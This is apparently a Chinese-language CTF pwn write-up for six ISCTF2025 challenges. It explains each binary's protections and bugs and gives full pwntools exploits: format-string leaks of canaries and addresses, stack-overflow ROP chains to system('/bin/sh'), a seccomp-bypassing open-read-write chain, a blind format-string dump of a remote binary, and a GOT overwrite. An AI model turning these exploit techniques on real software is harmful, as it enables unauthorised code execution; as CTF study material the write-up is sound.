sign

checksec

这是什么鸭

开了 PIE 和 canary ,可能会有点棘手?

IDA

这是什么鸭

攻击思路

好吧,其实只是个简单的整型编码问题,,,

注意到 2916788906 (unsigned int) 的编码 与 -1378178390 (int) 的编码相同,均为 0xADDAAAAA ,所以往 v[27] 上写入 0xADDAAAAA 就可以拿到权限啦

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = process('./sign')
pid = pidof(io)[0]

payload = b'A' * (27 * 4) + p64(2916788906)
io.sendline(payload)

io.interactive()

ez_fmt

checksec

这是什么鸭

开了 PIE 和 canary 欸?

IDA

这是什么鸭

这是什么鸭

攻击思路

注意到有格式化字符串漏洞,故考虑第一次 read 直接泄露 PIE 和 canary ,,,

第二次 read 有明显的栈溢出漏洞,利用泄露出的 PIE 计算出后门函数 win 的地址,再构造 payload 把泄露出的 canary 放上去然后跳转到目标地址就行啦

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = process('./ez_fmt')

backdoor = 0x202
payload = b'%23$lx%25$lx'

io.recvuntil(b'input: ')
io.sendline(payload)

canary = p64(int(io.recv(16), 16))
addr = p64(int(io.recv(12), 16) // 0x1000 * 0x1000 + 0x202)
log.info(f'canary = {hex(u64(canary))}')
log.info(f'addr = {hex(u64(addr))}')

payload = b'a' * 0x88 + canary + b'a' * 8 + addr

io.recvuntil(b'input: ')
io.send(payload)

io.interactive()

ret2rop

checksec

这是什么鸭

没啥保护喵,,,

IDA

main

这是什么鸭

这里 scanf 时不要输入 yes ,绕过没啥作用的 demo() ,

vuln

这是什么鸭

注意到 name 在 .bss 段上,这一点值得利用,且第二次 read 存在栈溢出漏洞,然而后面还有一个奇怪的异或处理,会影响写在栈上的数据,我们需要避开这个影响去构造 payload ,

backdoor

这是什么鸭

攻击思路

首先画出 vuln 的栈布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+-------------------+
| ??? | 8 bytes
+-------------------+
| ret_addr | 8 bytes
+-------------------+
| rbp | 8 bytes
+-------------------+
| i | 8 bytes
+-------------------+
| n | 8 bytes
+-------------------+
| |
| mask | 32 bytes
| |
+-------------------+
| |
| buf | 32 bytes
| |
+-------------------+

注意到 n 对应 buf[0x40] ,在异或处理时会被 mask[0x40] 异或掉,而 mask[0x40] 对应 buf[0x60] ,即 ??? 处的数据,我们希望在异或操作影响到 ret_addr 前结束掉,只要修改 n 为 0 即可,那么 ??? 处的数据应该与 n 互补。
方便起见,我们不妨直接读入 0x100 字节令 n = 0x100 ,则令 ??? 处为 0xfffffffffffffeff 即可终止循环。

此外,由于 name 在 .bss 段上,我们可以写入 /bin/sh\x00 ,再利用已有 gadget 构造 rop 链到 call _system 处便可以轻松完成攻击。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ret2rop')

io.recvuntil(b'demo\n')
payload = b'\x00'
io.sendline(payload)

io.recvuntil(b'name\n')
payload = b'/bin/sh\x00'
io.sendline(payload)

bss_addr = p64(0x4040F0)
pop_rsi_ret = p64(0x401A1C)
mov_rdi_rsi_ret = p64(0x401A25)
backdoor = p64(0x401A39)
ret = p64(0x401C15)

io.recvuntil(b'yourself\n')
payload = b'\xFF' * (0x50 + 8) + pop_rsi_ret + p64(0xfffffffffffffeff) + pop_rsi_ret + bss_addr + mov_rdi_rsi_ret + ret + backdoor
payload = payload.ljust(0x100, b'\x00')
io.sendline(payload)

io.interactive()

ez2048

checksec

这是什么鸭

开了 canary ,喵呜?

IDA

main

这是什么鸭

buf 在 .bss 段上,这一点可以被利用,,,

playgame

这是什么鸭

按 q 时 score -= 10 ,我们敏锐地预知到有整数溢出漏洞可以利用,,,

final

这是什么鸭

果然有整数溢出漏洞啊,初始 score = 50,所以前面 playgame 直接故意 quit 六次就行了。

shell

这是什么鸭

有多次 read 的机会且存在栈溢出漏洞,,, canary 从 buf[17] 开始,根据 canary 最低 1 字节处为 \x00 的特征,我们可以构造 buf 去使 printf 能够泄露 canary 而不在中途被 \x00 截断。

1
2
3
4
5
payload = b'A' * (17 * 8 - 1) + b'B' * 2
io.send(payload)

io.recvuntil('AAAAB')
canary = p64(u64(io.recv(8)) // 0x100 * 0x100)

backdoor

这是什么鸭

太坏了,还要自己想办法读入 /bin/sh\x00 ,但是在 main 中读入到 buf 上就行啦。

攻击思路

其实上面已经讲的差不多了?

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ez2048')

io.recvuntil('name\n')
name = b'/bin/sh\x00'
io.sendline(name)

io.recvuntil('game')
io.send(b'\n')

for i in range(6):
io.recvuntil('points)\n')
io.sendline(b'q')

io.recvuntil('round\n')
io.sendline(b'a')

io.recvuntil('points)\n')
io.sendline(b'q')
io.recvuntil('round\n')
io.sendline(b'q')

io.recvuntil('$ ')
payload = b'A' * (17 * 8 - 1) + b'B' * 2
io.send(payload)

io.recvuntil('AAAAB')
canary = p64(u64(io.recv(8)) // 0x100 * 0x100)
log.info(f'{hex(u64(canary))}')

pop_rdi_ret = p64(0x40133e)
sh = p64(0x404A46)
shell = p64(0x401355)

io.recvuntil(b'$ ')
payload = b'exit\x00' + b'A' * (17 * 8 - 5) + canary + b'A' * 8 + pop_rdi_ret + sh + shell
io.sendline(payload)

io.interactive()

ez_stack

checksec

这是什么鸭

吓哭了

ropper

这是什么鸭

???我 gadget 呢???

IDA

打开 IDA 一看,函数名没有, C 伪代码没法读,有点绝望地去看了汇编,花了很多时间理清这个程序到底在干什么,,,然后给各个函数命名

main

这是什么鸭

syscall

这是什么鸭

原来系统调用号在 r9 里啊。。。。

readrdxbytes

这是什么鸭

读取 rdx 字节的数据,遇到换行提前停止

mmap

这是什么鸭

调用了 mmap syscall ,在 0x114514000 开了一页 rwx 区域,但只从 main 中得知只允许写入 16 字节,考虑拿来写缺少的 gadget 和字符串,

nosyscall

这是什么鸭

rwx 区域 syscall の gadget 写入禁止,

这是什么鸭

有问题就无情地 exit ,

doyoulikegift

这是什么鸭

泄露了 main 的地址,可用于绕过 PIE 保护
泄露了栈的地址,可用于在连续的 leave 指令下稳定 rbp 和 rsp

retaddrerror

这是什么鸭

栈溢出但防止返回地址被篡改,不过没关系,PIE 保护已经可以绕过了
感觉到这里已经可以完成攻击了?只要把 /bin/sh\x00 写到 0x114514000 区域就可以 ret2syscall 了吧?并非。

init_array

这是什么鸭

这是什么鸭?初始化的时候调用了什么函数?

prctl

这是什么鸭

这是什么鸭

哇是沙箱,我们没救了,,,
拿到权限是不大可能了,因此考虑 orw ,把 /flag\x00\x00\x00 写到 0x114514000 区域,,,

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./baby_stack')

gadget = b'\x5F\xC3\x5E\xC3\x5A\xC3\x58\xC3'
flag_str = b'/flag\x00\x00\x00'
log.info(f'gadget = \n{disasm(gadget)}')

io.recvuntil(b'ISCTF2025!\n')
io.send(gadget + flag_str)

io.recvuntil(b'GIFT?\n')
main_addr = u64(io.recv(6).ljust(8, b'\x00'))
ret_addr = p64(main_addr // 0x100 * 0x100 + 0x9B)
syscall_addr = p64(main_addr // 0x1000 * 0x1000 + 0x175)
io.recvuntil(b'\n')
stack_addr = u64(io.recv(6).ljust(8, b'\x00'))
rbp_addr = p64(stack_addr - 0xa8 + 0xe0)
heap_top = p64(0x114514100)

log.info(f'main_addr = {hex(main_addr)}')
log.info(f'ret_addr = {hex(u64(ret_addr))}')
log.info(f'stack_addr = {hex(stack_addr)}')
log.info(f'rbp_addr = {hex(u64(rbp_addr))}')

pop_rdi_ret = p64(0x114514000)
pop_rsi_ret = p64(0x114514002)
pop_rdx_ret = p64(0x114514004)
pop_rax_ret = p64(0x114514006)
ret = p64(0x114514007)
flag_addr = p64(0x114514008)

payload = b'A' * 0x110 + rbp_addr + ret_addr + b'A' * 8

payload += pop_rdi_ret + flag_addr
payload += pop_rsi_ret + p64(0)
payload += pop_rax_ret + p64(2)
payload += syscall_addr + rbp_addr

payload += pop_rdi_ret + p64(3)
payload += pop_rsi_ret + heap_top
payload += pop_rdx_ret + p64(0x110)
payload += pop_rax_ret + p64(0)
payload += syscall_addr + rbp_addr

payload += pop_rdi_ret + p64(1)
payload += pop_rsi_ret + heap_top
payload += pop_rdx_ret + p64(0x110)
payload += pop_rax_ret + p64(1)
payload += syscall_addr

io.sendline(payload)

io.interactive()

bad_box

复读机

???

不是哥们,我写盲打,真的假的?

输入测试

test1

这是什么鸭

没有格式化字符串漏洞

test2

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('challenge.bluesharkinfo.com', 114514)

io.recvuntil(b'fun\n')
payload = b'A' * 0x1000 + b'\x00'
io.send(payload)
io.recvall()

io.interactive()

这是什么鸭

没有溢出?

test3

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('challenge.bluesharkinfo.com', 114514)

io.recvuntil(b'fun\n')
payload = b'%p' * 0x1000 + b'\x00'
io.send(payload)
io.recvall()

io.interactive()

这是什么鸭

欸?有格式化字符串漏洞???

事实上,经验证,小于 32 字节的读入不使用格式化字符串输出(遇 \x00 不截断,很可能是 write ),大于 32 字节的读入才使用格式化字符串输出(遇 \x00 截断,很可能是 printf )。

stackleak

既然如此,我们考虑先看看栈上面有什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('challenge.bluesharkinfo.com', 114514)

io.recvuntil(b'fun\n')
payload = b'%p\n' * 0x3A + b'\x00'
io.send(payload)
stack_addr = int(io.recvuntil('\n')[:-1], 16)
back = io.recvall()

lines = 0
strings = ''

for i in back.decode('utf-8'):
strings += i
if i == '\n':
lines += 1
log.info(f'{hex(stack_addr + lines * 8)} : {strings}')
strings = ''

io.interactive()

这是什么鸭

根据栈上泄露出的信息,可知 PIE 保护没有开启, canary 保护开启
然后呢?栈上好像没有什么可利用的点了?

dump

既然如此,不如直接利用格式化字符串漏洞,遍历 0x400000~0x404000 使用 %s 把原程序 dump 下来吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.arch = 'amd64'

begin = 0x400000
offset = 0
leaked = 0

while leaked < 0x4000 - offset:
try:
io = remote('challenge.bluesharkinfo.com', 114514)
io.recvuntil(b'fun\n')
payload = b'%9$s\x00\x00\x00\x00'
payload += p64(begin + leaked + offset)
payload += b'\x00' * 0x20
io.send(payload)
leak = io.recvall()
except:
log.info(f'len:{leaked}\n')
continue
leaked += len(leak) + 1
log.info(f'len:{leaked}\n{disasm(leak + b'\x00')}')
io.close()
l = open('leak.bin', 'ab')
l.write(leak + b'\x00')
l.close()

io.interactive()

PS: 这个 dump 程序效率有点低,,,每连接一次只 leak 到一个 \x00 边界,大概要跑一个小时吧,,,

IDA

把 dump 下来的程序拖进 IDA 反编译

main

这是什么鸭

和之前分析的差不多,,,
exit(0) 使劫持返回地址变得不可能,因此我们考虑劫持 got 表。

backdoor

这是什么鸭

got

这是什么鸭

明显的劫持 got 表模板,,,

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = remote('challenge.bluesharkinfo.com', 114514)

io.recvuntil(b'fun\n')

backdoor = 0x40125B # 4199003
exit_got = p64(0x4033A0)

payload = b'%' + str(backdoor).encode() + b'c' # 9
payload += b'%10$ln'+ b'\x00' # 16
payload += exit_got
payload += b'\x00' * 0x20

io.send(payload)
io.interactive()